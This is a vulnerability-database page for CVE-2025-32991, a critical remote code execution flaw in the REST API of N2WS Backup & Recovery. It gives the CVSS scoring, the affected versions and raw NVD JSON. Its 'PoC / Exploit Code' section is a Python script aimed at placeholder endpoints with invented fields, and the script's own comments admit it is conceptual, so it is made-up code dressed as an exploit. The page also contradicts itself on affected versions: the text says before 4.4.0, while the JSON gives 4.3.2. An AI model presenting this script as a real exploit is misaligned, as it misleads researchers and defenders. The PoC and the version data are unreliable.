Security Vulnerability Report
中文
CVE-2025-32991 CVSS 9.0 CRITICAL

CVE-2025-32991

Published: 2026-03-25 15:16:29
Last Modified: 2026-03-26 20:36:43

Description

In N2WS Backup & Recovery before 4.4.0, a two-step attack against the RESTful API results in remote code execution.

CVSS Details

CVSS Score
9.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:n2w:backup\&_recovery:*:*:*:*:*:*:*:* - VULNERABLE
N2WS Backup & Recovery < 4.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target_url = "http://target-ip/api" # Step 1: Trigger the vulnerable state in the RESTful API # This is a conceptual step based on the "two-step attack" description step1_payload = { "action": "prepare_exploit", "config": {"malicious_initializer": True} } requests.post(f"{target_url}/endpoint1", json=step1_payload) # Step 2: Execute Remote Code # Exploit the state to inject command step2_payload = { "command": "whoami" } response = requests.post(f"{target_url}/endpoint2", json=step2_payload) print(f"Command execution status: {response.status_code}") print(f"Response: {response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-32991", "sourceIdentifier": "[email protected]", "published": "2026-03-25T15:16:28.507", "lastModified": "2026-03-26T20:36:42.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In N2WS Backup & Recovery before 4.4.0, a two-step attack against the RESTful API results in remote code execution."}, {"lang": "es", "value": "En N2WS Backup &amp; Recovery anterior a la versión 4.4.0, un ataque de dos pasos contra la API RESTful resulta en ejecución remota de código."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:n2w:backup\\&_recovery:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.3.2", "matchCriteriaId": "D8784D3B-0394-4801-BA75-84E0FB8F2EF3"}]}]}], "references": [{"url": "https://n2ws.com/blog/security-advisory-update", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.n2ws.com", "source": "[email protected]", "tags": ["Product"]}]}}